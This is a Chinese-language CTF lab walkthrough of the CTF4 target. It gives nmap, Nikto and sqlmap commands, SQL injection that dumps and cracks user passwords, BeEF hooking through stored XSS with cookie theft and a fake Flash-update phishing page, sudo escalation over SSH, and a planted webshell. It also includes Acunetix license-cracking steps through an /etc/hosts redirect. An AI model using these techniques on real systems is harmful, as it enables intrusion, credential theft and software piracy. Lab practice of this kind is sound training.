Bootstrap

零基础打靶—CTF4靶场

一、打靶的主要五大步骤

1.确定目标:在所有的靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.常见的信息收集:比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这次训练靶场中比如信息收集包括查看源码,使用工具dirb等
3.发现漏洞:之前你们看到那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell
4.利用漏洞就是使用漏洞拿到webshell
5.权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。


                                    文章所需靶场及打靶过程所遇问题关注后私信获得


二、打靶的具体流程

打开本次打靶所需要的靶机(ctf4)及攻击机(kali)

渗透测试工具安装Awvs(将AWVS压缩包拖进kali开始执行命令)

sudo ./acunetix_14.5.211115146_x64.sh

按回车同意隐私条款…..
注意 一直长按就行了,直到末尾输入yes

然后输入用户名和密码以及邮箱。邮箱:[email protected] 密码:!20021118Ws

接下来浏览器输入https://192.168.99.128:3443/ 用刚才设置的账号和密码登录(需使用自己的kali的IP)邮箱:[email protected]   密码:!20021118Ws(不是确定的依据个人爱好设定)

登录后,提示目前是尚未激活的状态。  

接下来进行破解

复制 license_info.json  wa_data.dat 这两个文件到/home/acunetix/.acunetix/data/license/目录,全部替换即可

查看存在license_info.json  wa_data.dat 这2个文件,下面进行覆盖

修改hosts文件
vim /etc/hosts
#增加下面两行
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com

然后再次刷新浏览器,可以看到已经激活

设置不更新

AWVS进程:

关闭acunetix服务
sudo service acunetix stop
开启acunetix服务
sudo service acunetix start
重启acunetix服务
sudo service acunetix restart
查看acunetix服务
sudo service acunetix status

信息收集查询靶机的IP 与开放端口以及一些渗透测试

查看自己的网卡设备名和IP地址段

使用工具对该网段进行局域网存活主机探测

fping -g 192.168.99.0/24
sudo netdiscover -i eth0 -r 192.168.99.0/24
sudo arp-scan -l

使用nmap对发现的主机进行扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -v -sS -sV -p- 192.168.8.133 

通过Wappalyzer插件获得信息:

Web服务:Apache 2.2.0
操作系统:Fedora
后端语言:PHP 5.1.2

使用Nikto漏洞扫描

┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129

提取重要信息:
+服务器:Apache/2.2.0(Fedora)
+检索到x-powered-by-header:PHP/5.1.2
+防点击劫持X-Frame-Options标头不存在。

报告输出在本地

┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129 -o test.html -F html  #输出报告,

重要目录文件分析robots.txt文件

 /sql/目录

/admin/目录

/usage/目录


/pages/目录 可以看到目录索引


mail目录 mail登录后台

 手动分析注入 

浏览网站博客Blog,点击某一个博客,发现页面,修改id值,页面出现跳转

hackbar手动安装

尝试构造注入点输入单引号发现页面报错,可能存在SQL注入漏洞,需要进一步分析判断

尝试构建SQL注入语句,查看错误信息,order by判断字段发现6 页面报错,5页面没有报错,说明当前表有5列即5个字段

尝试构建SQL注入语句,查看错误信息,union查询判断注入点,发现2、3、5、4存在注入点;

查询当前数据库;查询到当前数据库为ehks

查询当前数据库里所有表:可以看到:blog,comment,user 3个表group_concat函数详解

查询当前表所有字段名; (补充:查询user表是因为用户名和密码信息一般放在该表里)

查询当前表里User和Password字段值;
用户的密码
02e823a15a392b5aa4ff4ccb9060fa68,ilike2surf
b46265f1e7faa3beab09db5c28739380,seventysixers
8f4743c04ed8e5f39166a81f26319bb5,Homesite
7c7bc9f465d86b8164686ebb5151a717,Sue1978
64d1f88b9b276aece4b0edcc25b7a434,pacman
9f3eb3087298ff21843cc4e013cf355f undone1
查询到密码发现密码被加密了,使用MD5解密得到密码;
最终结果:
dstevens,ilike2surf
achen,seventysixers
pmoore,Homesite
jdurbin,Sue1978
sorzek,pacman
ghighland,undone1

列出所有数据库的名字;可以看到结果6个数据库

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --dbs

列出当前数据库的名字;

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --current-db

列出当前数据库的所有表名

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' --tables 

列出user表中的所有字段名

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' --columns

列出user_name,user_pass字段中的所有字段内容

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' -C 'user_name,user_pass' --dump //这里主要--dump

尝试去爆破MySQL数据库,拿到user表的重要信息

┌──(kali㉿kali)-[~]

└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'mysql' -T 'user' -C 'user,password' --dump 

登录后台页面

使用刚SQL注入成功获取到的Ehks数据库的账户和密码登录

尝试构造 :(POC)来验证与检查漏洞的存在

点击blog,出现弹窗,刷新依然存在,判断为存储性XSS

登录到数据库可以看到,已经存入到数据库blog表中

kali安装beef:(通过XSS漏洞配合JS脚本和Metasploit进行渗透)

┌──(kali㉿kali)-[~]
└─$ sudo apt-get update #更新 
┌──(kali㉿kali)-[~]
└─$ sudo apt-get install beef-xss #安装beef-xss  
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/beef-xss #beef=xss 安装路径

启动beef
过程中要求,修改密码,这里修改为123456 默认为beef

打开web页面进行登录 登录:用户名beef 密码:123456

查看脚本

将脚本放在靶机中:

post 提交后,点击Blog,触发XSS,可以在BeEF页面,可以看到肉鸡上线,这里是本地宿主机这里使用的是本地火狐浏览器访问的,所以肉鸡为本地宿主机

在BeEF页面,点击链接的肉鸡

获取cookie:

跳转链接:

伪造flash更新钓鱼:

可以看到屏幕已经劫持,必须点击中间图片,进行页面跳转,这里可以构造钓鱼网站进行信息收录

DirBuster暴力扫描 选择字典类型,字典列表, / usr / share / dirbuster / wordlists

可以看到目录索引

权限提升 SSH利用 

尝试使用获取的账号尝试去登陆ssh,成功登陆,接下来进一步提权

cd /etc/ssh
ls 
cat ssh_config
sudo vim ssh_config


KexAlgorithms +diffie-hellman-group1-sha1
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

再次尝试 可以使用ssh登录 密码:seventysixers

sudo ssh [email protected]

使用sudo提权

[achen@ctf4 ~]$ sudo su 
[root@ctf4 achen]# whoami
[root@ctf4 achen]# id

su命令就是用于账号切换的系统命令,

提权后操作查看IP地址
[root@ctf4 achen]# /sbin/ifconfig 

远程登录数据库

mysql> use mysql; --使用MySQL数据库
mysql> select host,user,password from user;

实现远程连接

再次查看

mysql> select host,user,password from user;

尝试使用数据库工具远程链接 测试链接

链接数据库:用户root 密码:root

编写Webshell或上传Webshell

[root@ctf4 ~]# cd ~

[root@ctf4 ~]# pwd 

/root

[root@ctf4 ~]# cd /var/www/

[root@ctf4 www]# ls

cgi-bin  error  html  icons  usage

[root@ctf4 www]# cd html

[root@ctf4 html]# ls

admin     conf    inc         index.html.bak  pages       robots.txt

calendar  images  index.html  mail            restricted  sql

[root@ctf4 html]# vim shell.php

可以使用Webshell管理工具链接shell.php,这里使用蚁剑

;